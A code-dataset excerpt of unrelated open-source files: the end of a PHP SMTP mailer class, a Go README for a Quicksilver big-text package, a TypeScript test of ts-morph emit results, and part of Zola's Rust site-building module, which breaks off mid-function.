$this->secure = $secure; if(!$this->ehlo) $this->ehlo = $host; $this->logger && $this->logger->debug("Set: the server"); return $this; } /** * auth login with server * @param string $username * @param string $password * @return $this */ public function setAuth($username, $password) { $this->username = $username; $this->password = $password; $this->logger && $this->logger->debug("Set: the auth login"); return $this; } /** * auth oauthbearer with server * @param string $accessToken * @return $this */ public function setOAuth($accessToken) { $this->oauthToken = $accessToken; $this->logger && $this->logger->debug("Set: the auth oauthbearer"); return $this; } /** * set the EHLO message * @param $ehlo * @return $this */ public function setEhlo($ehlo) { $this->ehlo = $ehlo; return $this; } /** * Send the message * * @param Message $message * @return bool * @throws CodeException * @throws CryptoException * @throws SMTPException */ public function send(Message $message) { $this->logger && $this->logger->debug('Set: a message will be sent'); $this->message = $message; $this->connect() ->ehlo(); if ($this->secure === 'tls' || $this->secure === 'tlsv1.0' || $this->secure === 'tlsv1.1' | $this->secure === 'tlsv1.2') { $this->starttls() ->ehlo(); } if ($this->username !== null || $this->password !== null) { $this->authLogin(); } elseif ($this->oauthToken !== null) { $this->authOAuthBearer(); } $this->mailFrom() ->rcptTo() ->data() ->quit(); return fclose($this->smtp); } /** * connect the server * SUCCESS 220 * @return $this * @throws CodeException * @throws SMTPException */ protected function connect() { $this->logger && $this->logger->debug("Connecting to {$this->host} at {$this->port}"); $host = ($this->secure == 'ssl') ? 'ssl://' . $this->host : $this->host; $this->smtp = @fsockopen($host, $this->port); //set block mode // stream_set_blocking($this->smtp, 1); if (!$this->smtp){ throw new SMTPException("Could not open SMTP Port."); } $code = $this->getCode(); if ($code !== '220'){ throw new CodeException('220', $code, array_pop($this->resultStack)); } return $this; } /** * SMTP STARTTLS * SUCCESS 220 * @return $this * @throws CodeException * @throws CryptoException * @throws SMTPException */ protected function starttls() { $in = "STARTTLS" . $this->CRLF; $code = $this->pushStack($in); if ($code !== '220'){ throw new CodeException('220', $code, array_pop($this->resultStack)); } if ($this->secure !== 'tls' && version_compare(phpversion(), '5.6.0', '<')) { throw new CryptoException('Crypto type expected PHP 5.6 or greater'); } switch ($this->secure) { case 'tlsv1.0': $crypto_type = STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT; break; case 'tlsv1.1': $crypto_type = STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT; break; case 'tlsv1.2': $crypto_type = STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; break; default: $crypto_type = STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT | STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT; break; } if(!\stream_socket_enable_crypto($this->smtp, true, $crypto_type)) { throw new CryptoException("Start TLS failed to enable crypto"); } return $this; } /** * SMTP EHLO * SUCCESS 250 * @return $this * @throws CodeException * @throws SMTPException */ protected function ehlo() { $in = "EHLO " . $this->ehlo . $this->CRLF; $code = $this->pushStack($in); if ($code !== '250'){ throw new CodeException('250', $code, array_pop($this->resultStack)); } return $this; } /** * SMTP AUTH LOGIN * SUCCESS 334 * SUCCESS 334 * SUCCESS 235 * @return $this * @throws CodeException * @throws SMTPException */ protected function authLogin() { $in = "AUTH LOGIN" . $this->CRLF; $code = $this->pushStack($in); if ($code !== '334'){ throw new CodeException('334', $code, array_pop($this->resultStack)); } $in = base64_encode($this->username) . $this->CRLF; $code = $this->pushStack($in); if ($code !== '334'){ throw new CodeException('334', $code, array_pop($this->resultStack)); } $in = base64_encode($this->password) . $this->CRLF; $code = $this->pushStack($in); if ($code !== '235'){ throw new CodeException('235', $code, array_pop($this->resultStack)); } return $this; } /** * SMTP AUTH OAUTHBEARER * SUCCESS 235 * @return $this * @throws CodeException * @throws SMTPException */ protected function authOAuthBearer() { $authStr = sprintf("n,a=%s,%shost=%s%sport=%s%sauth=Bearer %s%s%s", $this->message->getFromEmail(), chr(1), $this->host, chr(1), $this->port, chr(1), $this->oauthToken, chr(1), chr(1) ); $authStr = base64_encode($authStr); $in = "AUTH OAUTHBEARER $authStr" . $this->CRLF; $code = $this->pushStack($in); if ($code !== '235'){ throw new CodeException('235', $code, array_pop($this->resultStack)); } return $this; } /** * SMTP AUTH XOAUTH2 * SUCCESS 235 * @return $this * @throws CodeException * @throws SMTPException */ protected function authXOAuth2() { $authStr = sprintf("user=%s%sauth=Bearer %s%s%s", $this->message->getFromEmail(), chr(1), $this->oauthToken, chr(1), chr(1) ); $authStr = base64_encode($authStr); $in = "AUTH XOAUTH2 $authStr" . $this->CRLF; $code = $this->pushStack($in); if ($code !== '235'){ throw new CodeException('235', $code, array_pop($this->resultStack)); } return $this; } /** * SMTP MAIL FROM * SUCCESS 250 * @return $this * @throws CodeException * @throws SMTPException */ protected function mailFrom() { $in = "MAIL FROM:<{$this->message->getFromEmail()}>" . $this->CRLF; $code = $this->pushStack($in); if ($code !== '250') { throw new CodeException('250', $code, array_pop($this->resultStack)); } return $this; } /** * SMTP RCPT TO * SUCCESS 250 * @return $this * @throws CodeException * @throws SMTPException */ protected function rcptTo() { $to = array_merge( $this->message->getTo(), $this->message->getCc(), $this->message->getBcc() ); foreach ($to as $toEmail=>$_) { $in = "RCPT TO:<" . $toEmail . ">" . $this->CRLF; $code = $this->pushStack($in); if ($code !== '250') { throw new CodeException('250', $code, array_pop($this->resultStack)); } } return $this; } /** * SMTP DATA * SUCCESS 354 * SUCCESS 250 * @return $this * @throws CodeException * @throws SMTPException */ protected function data() { $in = "DATA" . $this->CRLF; $code = $this->pushStack($in); if ($code !== '354') { throw new CodeException('354', $code, array_pop($this->resultStack)); } $in = $this->message->toString(); $code = $this->pushStack($in); if ($code !== '250'){ throw new CodeException('250', $code, array_pop($this->resultStack)); } return $this; } /** * SMTP QUIT * SUCCESS 221 * @return $this * @throws CodeException * @throws SMTPException */ protected function quit() { $in = "QUIT" . $this->CRLF; $code = $this->pushStack($in); if ($code !== '221'){ throw new CodeException('221', $code, array_pop($this->resultStack)); } return $this; } protected function pushStack($string) { $this->commandStack[] = $string; fputs($this->smtp, $string, strlen($string)); $this->logger && $this->logger->debug('Sent: '. $string); return $this->getCode(); } /** * get smtp response code * once time has three digital and a space * @return string * @throws SMTPException */ protected function getCode() { while ($str = fgets($this->smtp, 515)) { $this->logger && $this->logger->debug("Got: ". $str); $this->resultStack[] = $str; if(substr($str,3,1) == " ") { $code = substr($str,0,3); return $code; } } throw new SMTPException("SMTP Server did not respond with anything I recognized"); } }
txthinking/Mailer
src/Mailer/SMTP.php
PHP
mit
12,030
# Bigtext This uses Quicksilver.app to display large text on your Mac's screen. Only works with Mac and only works with Quicksilver at the moment. Open to suggestions for compatibility with other tools. My screenshotting capabilities are utterly failing me, but it looks good, trust me. ## Usage ```go package main import "github.com/kevinburke/bigtext" func main() { bigtext.Display("why hello there") } ```
Shyp/go-circle
vendor/github.com/kevinburke/bigtext/readme.md
Markdown
mit
416
import { expect } from "chai"; import { EmitResult } from "../../../compiler"; import { Project } from "../../../Project"; import * as testHelpers from "../../testHelpers"; describe(nameof(EmitResult), () => { it("should get the emit result when there are no errors", async () => { const fileSystem = testHelpers.getFileSystemHostWithFiles([]); const project = new Project({ compilerOptions: { noLib: true, outDir: "dist" }, fileSystem }); project.createSourceFile("file1.ts", "const num1 = 1;"); project.createSourceFile("file2.ts", "const num2 = 2;"); const result = await project.emit(); expect(result.compilerObject).to.not.be.undefined; expect(result.getEmitSkipped()).to.be.false; expect(result.getDiagnostics().length).to.equal(0); }); it("should get the emit result when there are errors", async () => { const fileSystem = testHelpers.getFileSystemHostWithFiles([]); const project = new Project({ compilerOptions: { noLib: true, outDir: "dist", noEmitOnError: true }, fileSystem }); project.createSourceFile("file1.ts", "const num1;"); const result = await project.emit(); expect(result.getEmitSkipped()).to.be.true; const diagnostics = result.getDiagnostics(); const filteredDiagnostics = diagnostics.map(d => d.getMessageText()).filter(d => (d as string).indexOf("Cannot find global type")); expect(filteredDiagnostics.length).to.equal(1); expect(filteredDiagnostics[0]).to.equal("'const' declarations must be initialized."); }); });
dsherret/ts-simple-ast
packages/ts-morph/src/tests/compiler/tools/emitResultTests.ts
TypeScript
mit
1,599
pub mod feed; pub mod link_checking; pub mod sass; pub mod sitemap; pub mod tpls; use std::collections::HashMap; use std::fs::remove_dir_all; use std::path::{Path, PathBuf}; use std::sync::{Arc, Mutex, RwLock}; use lazy_static::lazy_static; use rayon::prelude::*; use tera::{Context, Tera}; use walkdir::{DirEntry, WalkDir}; use config::{get_config, Config}; use errors::{bail, Error, Result}; use front_matter::InsertAnchor; use library::{find_taxonomies, Library, Page, Paginator, Section, Taxonomy}; use relative_path::RelativePathBuf; use std::time::Instant; use templates::render_redirect_template; use utils::fs::{ copy_directory, copy_file_if_needed, create_directory, create_file, ensure_directory_exists, }; use utils::minify; use utils::net::get_available_port; use utils::templates::render_template; lazy_static! { /// The in-memory rendered map content pub static ref SITE_CONTENT: Arc<RwLock<HashMap<RelativePathBuf, String>>> = Arc::new(RwLock::new(HashMap::new())); } /// Where are we building the site #[derive(Debug, Clone, Copy, Eq, PartialEq)] pub enum BuildMode { /// On the filesystem -> `zola build`, The path is the `output_path` Disk, /// In memory for the content -> `zola serve` Memory, } #[derive(Debug)] pub struct Site { /// The base path of the zola site pub base_path: PathBuf, /// The parsed config for the site pub config: Config, pub tera: Tera, imageproc: Arc<Mutex<imageproc::Processor>>, // the live reload port to be used if there is one pub live_reload: Option<u16>, pub output_path: PathBuf, content_path: PathBuf, pub static_path: PathBuf, pub taxonomies: Vec<Taxonomy>, /// A map of all .md files (section and pages) and their permalink /// We need that if there are relative links in the content that need to be resolved pub permalinks: HashMap<String, String>, /// Contains all pages and sections of the site pub library: Arc<RwLock<Library>>, /// Whether to load draft pages include_drafts: bool, build_mode: BuildMode, } impl Site { /// Parse a site at the given path. Defaults to the current dir /// Passing in a path is used in tests and when --root argument is passed pub fn new<P: AsRef<Path>, P2: AsRef<Path>>(path: P, config_file: P2) -> Result<Site> { let path = path.as_ref(); let config_file = config_file.as_ref(); let mut config = get_config(config_file); config.load_extra_syntaxes(path)?; if let Some(theme) = config.theme.clone() { // Grab data from the extra section of the theme config.merge_with_theme(&path.join("themes").join(&theme).join("theme.toml"))?; } let tera = tpls::load_tera(path, &config)?; let content_path = path.join("content"); let static_path = path.join("static"); let imageproc = imageproc::Processor::new(content_path.clone(), &static_path, &config.base_url); let output_path = path.join(config.output_dir.clone()); let site = Site { base_path: path.to_path_buf(), config, tera, imageproc: Arc::new(Mutex::new(imageproc)), live_reload: None, output_path, content_path, static_path, taxonomies: Vec::new(), permalinks: HashMap::new(), include_drafts: false, // We will allocate it properly later on library: Arc::new(RwLock::new(Library::new(0, 0, false))), build_mode: BuildMode::Disk, }; Ok(site) } /// Enable some `zola serve` related options pub fn enable_serve_mode(&mut self) { SITE_CONTENT.write().unwrap().clear(); self.config.enable_serve_mode(); self.build_mode = BuildMode::Memory; } /// Set the site to load the drafts. /// Needs to be called before loading it pub fn include_drafts(&mut self) { self.include_drafts = true; } /// The index sections are ALWAYS at those paths /// There are one index section for the default language + 1 per language fn index_section_paths(&self) -> Vec<(PathBuf, Option<String>)> { let mut res = vec![(self.content_path.join("_index.md"), None)]; for language in &self.config.languages { res.push(( self.content_path.join(format!("_index.{}.md", language.code)), Some(language.code.clone()), )); } res } /// We avoid the port the server is going to use as it's not bound yet /// when calling this function and we could end up having tried to bind /// both http and websocket server to the same port pub fn enable_live_reload(&mut self, port_to_avoid: u16) { self.live_reload = get_available_port(port_to_avoid); } /// Only used in `zola serve` to re-use the initial websocket port pub fn enable_live_reload_with_port(&mut self, live_reload_port: u16) { self.live_reload = Some(live_reload_port); } /// Reloads the templates and rebuild the site without re-rendering the Markdown. pub fn reload_templates(&mut self) -> Result<()> { self.tera.full_reload()?; // TODO: be smarter than that, no need to recompile sass for example self.build() } pub fn set_base_url(&mut self, base_url: String) { let mut imageproc = self.imageproc.lock().expect("Couldn't lock imageproc (set_base_url)"); imageproc.set_base_url(&base_url); self.config.base_url = base_url; } pub fn set_output_path<P: AsRef<Path>>(&mut self, path: P) { self.output_path = path.as_ref().to_path_buf(); } /// Reads all .md files in the `content` directory and create pages/sections /// out of them pub fn load(&mut self) -> Result<()> { let base_path = self.base_path.to_string_lossy().replace("\\", "/"); self.library = Arc::new(RwLock::new(Library::new(0, 0, self.config.is_multilingual()))); let mut pages_insert_anchors = HashMap::new(); // not the most elegant loop, but this is necessary to use skip_current_dir // which we can only decide to use after we've deserialised the section // so it's kinda necessecary let mut dir_walker = WalkDir::new(format!("{}/{}", base_path, "content/")).into_iter(); let mut allowed_index_filenames: Vec<_> = self.config.languages.iter().map(|l| format!("_index.{}.md", l.code)).collect(); allowed_index_filenames.push("_index.md".to_string()); loop { let entry: DirEntry = match dir_walker.next() { None => break, Some(Err(_)) => continue, Some(Ok(entry)) => entry, }; let path = entry.path(); let file_name = match path.file_name() { None => continue, Some(name) => name.to_str().unwrap(), }; // ignore excluded content match &self.config.ignored_content_globset { Some(gs) => { if gs.is_match(path) { continue; } } None => (), } // we process a section when we encounter the dir // so we can process it before any of the pages // therefore we should skip the actual file to avoid duplication if file_name.starts_with("_index.") { continue; } // skip hidden files and non md files if !path.is_dir() && (!file_name.ends_with(".md") || file_name.starts_with('.')) { continue; } // is it a section or not? if path.is_dir() { // if we are processing a section we have to collect // index files for all languages and process them simultaniously // before any of the pages let index_files = WalkDir::new(&path) .max_depth(1) .into_iter() .filter_map(|e| match e { Err(_) => None, Ok(f) => { let path_str = f.path().file_name().unwrap().to_str().unwrap(); if f.path().is_file() && allowed_index_filenames.iter().find(|&s| *s == path_str).is_some() { Some(f) } else { // https://github.com/getzola/zola/issues/1244 if path_str.starts_with("_index.") { println!("Expected a section filename, got `{}`. Allowed values: `{:?}`", path_str, &allowed_index_filenames); } None } } }) .collect::<Vec<DirEntry>>(); for index_file in index_files { let section = match Section::from_file( index_file.path(), &self.config, &self.base_path, ) { Err(_) => continue, Ok(sec) => sec, }; // if the section is drafted we can skip the enitre dir if section.meta.draft && !self.include_drafts { dir_walker.skip_current_dir(); continue; } self.add_section(section, false)?; } } else { let page = Page::from_file(path, &self.config, &self.base_path) .expect("error deserialising page"); // should we skip drafts? if page.meta.draft && !self.include_drafts { continue; } pages_insert_anchors.insert( page.file.path.clone(), self.find_parent_section_insert_anchor(&page.file.parent.clone(), &page.lang), ); self.add_page(page, false)?; } } self.create_default_index_sections()?; { let library = self.library.read().unwrap(); let collisions = library.check_for_path_collisions(); if !collisions.is_empty() { return Err(Error::from_collisions(collisions)); } } // taxonomy Tera fns are loaded in `register_early_global_fns` // so we do need to populate it first. self.populate_taxonomies()?; tpls::register_early_global_fns(self); self.populate_sections(); self.render_markdown()?; tpls::register_tera_global_fns(self); // Needs to be done after rendering markdown as we only get the anchors at that point link_checking::check_internal_links_with_anchors(&self)?; if self.config.is_in_check_mode() { link_checking::check_external_links(&self)?; } Ok(()) } /// Insert a default index section for each language if necessary so we don't need to create /// a _index.md to render the index page at the root of the site pub fn create_default_index_sections(&mut self) -> Result<()> { for (index_path, lang) in self.index_section_paths() { if let Some(ref index_section) = self.library.read().unwrap().get_section(&index_path) { if self.config.build_search_index && !index_section.meta.in_search_index { bail!( "You have enabled search in the config but disabled it in the index section: \ either turn off the search in the config or remote `in_search_index = true` from the \ section front-matter." ) } } let mut library = self.library.write().expect("Get lock for load"); // Not in else because of borrow checker if !library.contains_section(&index_path) { let mut index_section = Section::default(); index_section.file.parent = self.content_path.clone(); index_section.file.filename = index_path.file_name().unwrap().to_string_lossy().to_string(); if let Some(ref l) = lang { index_section.file.name = format!("_index.{}", l); index_section.path = format!("{}/", l); index_section.permalink = self.config.make_permalink(l); let filename = format!("_index.{}.md", l); index_section.file.path = self.content_path.join(&filename); index_section.file.relative = filename; } else { index_section.file.name = "_index".to_string(); index_section.permalink = self.config.make_permalink(""); index_section.file.path = self.content_path.join("_index.md"); index_section.file.relative = "_index.md".to_string(); index_section.path = "/".to_string(); } index_section.lang = index_section.file.find_language(&self.config)?; library.insert_section(index_section); } } Ok(()) } /// Render the markdown of all pages/sections /// Used in a build and in `serve` if a shortcode has changed pub fn render_markdown(&mut self) -> Result<()> { // Another silly thing needed to not borrow &self in parallel and // make the borrow checker happy let permalinks = &self.permalinks; let tera = &self.tera; let config = &self.config; // This is needed in the first place because of silly borrow checker let mut pages_insert_anchors = HashMap::new(); for (_, p) in self.library.read().unwrap().pages() { pages_insert_anchors.insert( p.file.path.clone(), self.find_parent_section_insert_anchor(&p.file.parent.clone(), &p.lang), ); } let mut library = self.library.write().expect("Get lock for render_markdown"); library .pages_mut() .values_mut() .collect::<Vec<_>>() .par_iter_mut() .map(|page| { let insert_anchor = pages_insert_anchors[&page.file.path]; page.render_markdown(permalinks, tera, config, insert_anchor) }) .collect::<Result<()>>()?; library .sections_mut() .values_mut() .collect::<Vec<_>>() .par_iter_mut() .map(|section| section.render_markdown(permalinks, tera, config)) .collect::<Result<()>>()?; Ok(()) } /// Add a page to the site /// The `render` parameter is used in the serve command with --fast, when rebuilding a page. pub fn add_page(&mut self, mut page: Page, render_md: bool) -> Result<()> { self.permalinks.insert(page.file.relative.clone(), page.permalink.clone()); if render_md { let insert_anchor = self.find_parent_section_insert_anchor(&page.file.parent, &page.lang); page.render_markdown(&self.permalinks, &self.tera, &self.config, insert_anchor)?; } let mut library = self.library.write().expect("Get lock for add_page"); library.remove_page(&page.file.path); library.insert_page(page); Ok(()) } /// Adds a page to the site and render it /// Only used in `zola serve --fast` pub fn add_and_render_page(&mut self, path: &Path) -> Result<()> { let page = Page::from_file(path, &self.config, &self.base_path)?; self.add_page(page, true)?; self.populate_sections(); self.populate_taxonomies()?; let library = self.library.read().unwrap(); let page = library.get_page(&path).unwrap(); self.render_page(&page) } /// Add a section to the site /// The `render` parameter is used in the serve command with --fast, when rebuilding a page. pub fn add_section(&mut self, mut section: Section, render_md: bool) -> Result<()> { self.permalinks.insert(section.file.relative.clone(), section.permalink.clone()); if render_md { section.render_markdown(&self.permalinks, &self.tera, &self.config)?; } let mut library = self.library.write().expect("Get lock for add_section"); library.remove_section(&section.file.path); library.insert_section(section); Ok(()) } /// Adds a section to the site and render it /// Only used in `zola serve --fast` pub fn add_and_render_section(&mut self, path: &Path) -> Result<()> { let section = Section::from_file(path, &self.config, &self.base_path)?; self.add_section(section, true)?; self.populate_sections(); let library = self.library.read().unwrap(); let section = library.get_section(&path).unwrap(); self.render_section(&section, true) } /// Finds the insert_anchor for the parent section of the directory at `path`. /// Defaults to `AnchorInsert::None` if no parent section found pub fn find_parent_section_insert_anchor( &self, parent_path: &PathBuf, lang: &str, ) -> InsertAnchor { let parent = if lang != self.config.default_language { parent_path.join(format!("_index.{}.md", lang)) } else { parent_path.join("_index.md") }; match self.library.read().unwrap().get_section(&parent) { Some(s) => s.meta.insert_anchor_links, None => InsertAnchor::None, } } /// Find out the direct subsections of each subsection if there are some /// as well as the pages for each section pub fn populate_sections(&mut self) { let mut library = self.library.write().expect("Get lock for populate_sections"); library.populate_sections(&self.config); } /// Find all the tags and categories if it's asked in the config pub fn populate_taxonomies(&mut self) -> Result<()> { if self.config.taxonomies.is_empty() { return Ok(()); } self.taxonomies = find_taxonomies(&self.config, &self.library.read().unwrap())?; Ok(()) } /// Inject live reload script tag if in live reload mode fn inject_livereload(&self, mut html: String) -> String { if let Some(port) = self.live_reload { let script = format!(r#"<script src="/livereload.js?port={}&amp;mindelay=10"></script>"#, port,); if let Some(index) = html.rfind("</body>") { html.insert_str(index, &script); } else { html.push_str(&script); } } html } /// Copy the main `static` folder and the theme `static` folder if a theme is used pub fn copy_static_directories(&self) -> Result<()> { // The user files will overwrite the theme files if let Some(ref theme) = self.config.theme { copy_directory( &self.base_path.join("themes").join(theme).join("static"), &self.output_path, false, )?; } // We're fine with missing static folders if self.static_path.exists() { copy_directory(&self.static_path, &self.output_path, self.config.hard_link_static)?; } Ok(()) } pub fn num_img_ops(&self) -> usize { let imageproc = self.imageproc.lock().expect("Couldn't lock imageproc (num_img_ops)"); imageproc.num_img_ops() } pub fn process_images(&self) -> Result<()> { let mut imageproc = self.imageproc.lock().expect("Couldn't lock imageproc (process_images)"); imageproc.prune()?; imageproc.do_process() } /// Deletes the `public` directory if it exists pub fn clean(&self) -> Result<()> { if self.output_path.exists() { // Delete current `public` directory so we can start fresh remove_dir_all(&self.output_path) .map_err(|e| Error::chain("Couldn't delete output directory", e))?; } Ok(()) } /// Handles whether to write to disk or to memory pub fn write_content( &self, components: &[&str], filename: &str, content: String, create_dirs: bool, ) -> Result<PathBuf> { let write_dirs = self.build_mode == BuildMode::Disk || create_dirs; ensure_directory_exists(&self.output_path)?; let mut site_path = RelativePathBuf::new(); let mut current_path = self.output_path.to_path_buf(); for component in components { current_path.push(component); site_path.push(component); if !current_path.exists() && write_dirs { create_directory(&current_path)?; } } if write_dirs { create_directory(&current_path)?; } let final_content = if !filename.ends_with("html") || !self.config.minify_html { content } else { match minify::html(content) { Ok(minified_content) => minified_content, Err(error) => bail!(error), } }; match self.build_mode { BuildMode::Disk => { let end_path = current_path.join(filename); create_file(&end_path, &final_content)?; } BuildMode::Memory => { let site_path = if filename != "index.html" { site_path.join(filename) } else { site_path }; SITE_CONTENT.write().unwrap().insert(site_path, final_content); } } Ok(current_path) } fn copy_asset(&self, src: &Path, dest: &PathBuf) -> Result<()> { copy_file_if_needed(src, dest, self.config.hard_link_static) } /// Renders a single content page pub fn render_page(&self, page: &Page) -> Result<()> { let output = page.render_html(&self.tera, &self.config, &self.library.read().unwrap())?; let content = self.inject_livereload(output); let components: Vec<&str> = page.path.split('/').collect(); let current_path = self.write_content(&components, "index.html", content, !page.assets.is_empty())?; // Copy any asset we found previously into the same directory as the index.html for asset in &page.assets { let asset_path = asset.as_path(); self.copy_asset( &asset_path, &current_path .join(asset_path.file_name().expect("Couldn't get filename from page asset")), )?; } Ok(()) } /// Deletes the `public` directory (only for `zola build`) and builds the site pub fn build(&self) -> Result<()> { let mut start = Instant::now(); // Do not clean on `zola serve` otherwise we end up copying assets all the time if self.build_mode == BuildMode::Disk { self.clean()?; } start = log_time(start, "Cleaned folder"); // Generate/move all assets before rendering any content if let Some(ref theme) = self.config.theme { let theme_path = self.base_path.join("themes").join(theme); if theme_path.join("sass").exists() { sass::compile_sass(&theme_path, &self.output_path)?; start = log_time(start, "Compiled theme Sass"); } } if self.config.compile_sass { sass::compile_sass(&self.base_path, &self.output_path)?; start = log_time(start, "Compiled own Sass"); } if self.config.build_search_index { self.build_search_index()?; start = log_time(start, "Built search index"); } // Render aliases first to allow overwriting self.render_aliases()?; start = log_time(start, "Rendered aliases"); self.render_sections()?; start = log_time(start, "Rendered sections"); self.render_orphan_pages()?; start = log_time(start, "Rendered orphan pages"); self.render_sitemap()?; start = log_time(start, "Rendered sitemap"); let library = self.library.read().unwrap(); if self.config.generate_feed { let is_multilingual = self.config.is_multilingual(); let pages = if is_multilingual { library .pages_values() .iter() .filter(|p| p.lang == self.config.default_language) .cloned() .collect() } else { library.pages_values() }; self.render_feed(pages, None, &self.config.default_language, |c| c)?; start = log_time(start, "Generated feed in default language"); } for lang in &self.config.languages { if !lang.feed { continue; } let pages = library.pages_values().iter().filter(|p| p.lang == lang.code).cloned().collect(); self.render_feed(pages, Some(&PathBuf::from(lang.code.clone())), &lang.code, |c| c)?; start = log_time(start, "Generated feed in other language"); } self.render_404()?; start = log_time(start, "Rendered 404"); self.render_robots()?; start = log_time(start, "Rendered robots.txt"); self.render_taxonomies()?; start = log_time(start, "Rendered taxonomies"); // We process images at the end as we might have picked up images to process from markdown // or from templates self.process_images()?; start = log_time(start, "Processed images"); // Processed images will be in static so the last step is to copy it self.copy_static_directories()?; log_time(start, "Copied static dir"); Ok(()) } pub fn build_search_index(&self) -> Result<()> { ensure_directory_exists(&self.output_path)?; // TODO: add those to the SITE_CONTENT map // index first create_file( &self.output_path.join(&format!("search_index.{}.js", self.config.default_language)), &format!( "window.searchIndex = {};", search::build_index( &self.config.default_language, &self.library.read().unwrap(), &self.config )? ), )?; for language in &self.config.languages { if language.code != self.config.default_language && language.search { create_file( &self.output_path.join(&format!("search_index.{}.js", &language.code)), &format!( "window.searchIndex = {};", search::build_index( &language.code, &self.library.read().unwrap(), &self.config )? ), )?; } } // then elasticlunr.min.js create_file(&self.output_path.join("elasticlunr.min.js"), search::ELASTICLUNR_JS)?; Ok(()) } fn render_alias(&self, alias: &str, permalink: &str) -> Result<()> { let mut split = alias.split('/').collect::<Vec<_>>(); // If the alias ends with an html file name, use that instead of mapping // as a path containing an `index.html` let page_name = match split.pop() { Some(part) if part.ends_with(".html") => part, Some(part) => { split.push(part); "index.html" } None => "index.html", }; let content = render_redirect_template(&permalink, &self.tera)?; self.write_content(&split, page_name, content, false)?; Ok(()) } /// Renders all the aliases for each page/section: a magic HTML template that redirects to /// the canonical one pub fn render_aliases(&self) -> Result<()> { ensure_directory_exists(&self.output_path)?; let library = self.library.read().unwrap(); for (_, page) in library.pages() { for alias in &page.meta.aliases { self.render_alias(&alias, &page.permalink)?; } } for (_, section) in library.sections() { for alias in &section.meta.aliases { self.render_alias(&alias, &section.permalink)?; } } Ok(()) } /// Renders 404.html pub fn render_404(&self) -> Result<()> { ensure_directory_exists(&self.output_path)?; let mut context = Context::new(); context.insert("config", &self.config); context.insert("lang", &self.config.default_language); let output = render_template("404.html", &self.tera, context, &self.config.theme)?; let content = self.inject_livereload(output); self.write_content(&[], "404.html", content, false)?; Ok(()) } /// Renders robots.txt pub fn render_robots(&self) -> Result<()> { ensure_directory_exists(&self.output_path)?; let mut context = Context::new(); context.insert("config", &self.config); let content = render_template("robots.txt", &self.tera, context, &self.config.theme)?; self.write_content(&[], "robots.txt", content, false)?; Ok(()) } /// Renders all taxonomies pub fn render_taxonomies(&self) -> Result<()> { for taxonomy in &self.taxonomies { self.render_taxonomy(taxonomy)?; } Ok(()) } fn render_taxonomy(&self, taxonomy: &Taxonomy) -> Result<()> { if taxonomy.items.is_empty() { return Ok(()); } ensure_directory_exists(&self.output_path)?; let mut components = Vec::new(); if taxonomy.kind.lang != self.config.default_language { components.push(taxonomy.kind.lang.as_ref()); } components.push(taxonomy.slug.as_ref()); let list_output = taxonomy.render_all_terms(&self.tera, &self.config, &self.library.read().unwrap())?; let content = self.inject_livereload(list_output); self.write_content(&components, "index.html", content, false)?; let library = self.library.read().unwrap(); taxonomy .items .par_iter() .map(|item| { let mut comp = components.clone(); comp.push(&item.slug); if taxonomy.kind.is_paginated() { self.render_paginated( comp.clone(), &Paginator::from_taxonomy(&taxonomy, item, &library), )?; } else { let single_output = taxonomy.render_term(item, &self.tera, &self.config, &library)?; let content = self.inject_livereload(single_output); self.write_content(&comp, "index.html", content, false)?; } if taxonomy.kind.feed { self.render_feed( item.pages.iter().map(|p| library.get_page_by_key(*p)).collect(), Some(&PathBuf::from(format!("{}/{}", taxonomy.slug, item.slug))), if self.config.is_multilingual() && !taxonomy.kind.lang.is_empty() { &taxonomy.kind.lang } else { &self.config.default_language }, |mut context: Context| { context.insert("taxonomy", &taxonomy.kind); context .insert("term", &feed::SerializedFeedTaxonomyItem::from_item(item)); context }, ) } else { Ok(()) } }) .collect::<Result<()>>() } /// What it says on the tin pub fn render_sitemap(&self) -> Result<()> { ensure_directory_exists(&self.output_path)?; let library = self.library.read().unwrap(); let all_sitemap_entries = { sitemap::find_entries(&library, &self.taxonomies[..], &self.config) }; let sitemap_limit = 30000; if all_sitemap_entries.len() < sitemap_limit { // Create single sitemap let mut context = Context::new(); context.insert("entries", &all_sitemap_entries); let sitemap = render_template("sitemap.xml", &self.tera, context, &self.config.theme)?; self.write_content(&[], "sitemap.xml", sitemap, false)?; return Ok(()); } // Create multiple sitemaps (max 30000 urls each) let mut sitemap_index = Vec::new(); for (i, chunk) in all_sitemap_entries.iter().collect::<Vec<_>>().chunks(sitemap_limit).enumerate() { let mut context = Context::new(); context.insert("entries", &chunk); let sitemap = render_template("sitemap.xml", &self.tera, context, &self.config.theme)?; let file_name = format!("sitemap{}.xml", i + 1); self.write_content(&[], &file_name, sitemap, false)?; let mut sitemap_url = self.config.make_permalink(&file_name); sitemap_url.pop(); // Remove trailing slash sitemap_index.push(sitemap_url); } // Create main sitemap that reference numbered sitemaps let mut main_context = Context::new(); main_context.insert("sitemaps", &sitemap_index); let sitemap = render_template( "split_sitemap_index.xml", &self.tera, main_context, &self.config.theme, )?; self.write_content(&[], "sitemap.xml", sitemap, false)?; Ok(()) } /// Renders a feed for the given path and at the given path /// If both arguments are `None`, it will render only the feed for the whole /// site at the root folder. pub fn render_feed( &self, all_pages: Vec<&Page>, base_path: Option<&PathBuf>, lang: &str, additional_context_fn: impl Fn(Context) -> Context, ) -> Result<()> { ensure_directory_exists(&self.output_path)?; let feed = match feed::render_feed(self, all_pages, lang, base_path, additional_context_fn)? { Some(v) => v, None => return Ok(()), }; let feed_filename = &self.config.feed_filename; if let Some(ref base) = base_path { let mut components = Vec::new(); for component in base.components() { // TODO: avoid cloning the paths components.push(component.as_os_str().to_string_lossy().as_ref().to_string()); } self.write_content( &components.iter().map(|x| x.as_ref()).collect::<Vec<_>>(), &feed_filename, feed, false, )?; } else { self.write_content(&[], &feed_filename, feed, false)?; } Ok(()) } /// Renders a single section pub fn render_section(&self, section: &Section, render_pages: bool) -> Result<()> { ensure_directory_exists(&self.output_path)?; let mut output_path = self.output_path.clone(); let mut components: Vec<&str> = Vec::new(); let create_directories = self.build_mode == BuildMode::Disk || !section.assets.is_empty(); if section.lang != self.config.default_language { components.push(&section.lang); output_path.push(&section.lang); if !output_path.exists() && create_directories { create_directory(&output_path)?; } } for component in &section.file.components { components.push(component); output_path.push(component); if !output_path.exists() && create_directories { create_directory(&output_path)?; } } if 